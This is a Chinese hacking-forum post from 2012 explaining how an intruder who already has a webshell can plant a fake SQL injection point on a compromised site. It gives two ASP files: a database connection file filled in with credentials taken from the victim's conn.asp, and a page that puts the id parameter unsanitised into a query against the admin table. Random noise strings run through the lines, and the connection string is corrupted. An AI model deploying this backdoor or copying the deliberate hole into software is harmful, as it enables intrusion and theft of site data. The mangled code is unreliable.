找回密码
 立即注册
查看: 2298|回复: 0
打印 上一主题 下一主题

自己构造注入点方便入侵

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:27:31 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
自己构造注入点方便入侵
( ]" D0 g0 Q! M: d& `# k* {) X# C
8 ^$ b/ S$ |4 Y. s! C今天看了rootkit论坛里面有人要我写出来关于伪造一个注入点,然后方便渗透,找到更多的可利用的信息
, G3 h  z1 {+ i8 K
; I& S4 N5 i& N5 X  v, ?6 g# i这两天一直考试,想了下,就先仍出来,有什么问题可以提出来,我们一起讨论!
5 ~2 c9 [! N% V' R; p6 T5 y/ d7 e8 T( M& T& h  `( I/ q6 H
首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和
9 |$ L: n( ~) d/ n5 I  W( J0 T. f
! f7 D' v6 _- ?! C5 ~/ _密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表
$ g7 C2 w/ ^# F% L3 ?# `' \% h( b$ j0 q; w8 N; U0 T
因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:
( p7 j, n' S: o$ G  p! _; {0 [: g% r- d1 T
程序代码
$ N8 P4 y1 F6 \; }. q<!--#include file="xx.asp"-->* _! W7 ]1 s' Y3 i% j: U5 m, J
<%
0 p8 H( ]) b& g  fset rs=server.createobject("ADODB.recordset")" b0 l& L4 s- b! F& g8 R
id = request("id")
# |9 s/ K& j3 N. X7 N+ UstrSQL = "select * from admin where id=" & id
: m. H7 O% O; \- \$ j* Hrs.open strSQL,conn,1,3
- n; P/ O7 m$ j/ a: }9 Urs.close
7 W0 Y9 Q& m6 K' j2 C9 e4 N%>
# E) J: d; W: f# Z2 N! e; R( ?7 A8 i* a% P% X
把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在9 R) ?1 S) j" ?' w

( K3 G( v; z; b$ X* F7 Z6 K你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!, g4 P( c" |1 M% K: J

+ G0 P, g% u2 R4 |然后就要构造一个连接数据库的文件了,代码如下:' H- i- h! L6 _1 y
程序代码6 @9 D2 x1 B6 Q' {5 R
<%        8 s. z! C4 `! e: S
strSQLServerName = "000.000.000.000"     '服务器名称或地址
0 y5 J% o( p6 J0 |" D3 y5 @# v* DstrSQLDBUserName = "sqlname"         '数据库帐号6 b* o5 \" j9 G% k! u% A4 t7 u! b
strSQLDBPassword = "sqlpass"         '数据库密码
. a" n& i! |8 ^0 g: m' D$ C' a0 wstrSQLDBName = "sqldataname"           '数据库名称( q, F3 W. ^% y) w# @/ J, N6 g
Set conn = Server.CreateObject("ADODB.Connection")3 N' z' d# }4 M: P% b; y* o
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"7 `+ t: s/ g5 m; y  d6 q* k$ m/ W
conn.open strCon
4 x0 |% x" M9 U7 ~% @; J%>
* d+ m- y, W/ F, ]0 }, @" S- C. T+ S
8 m9 @5 X  O; Q* [这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。。还是罗嗦话,
8 q7 {# c) F7 v; @+ D; R7 f. m& T5 E+ k" A4 S
就这样,正常情况下,就OK了,伪造成功……
0 j! ]# ]5 {6 S  y6 Q
1 L5 e8 e$ k( a) g$ V           如果有什么问题可以提出来大家一起探讨解决。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表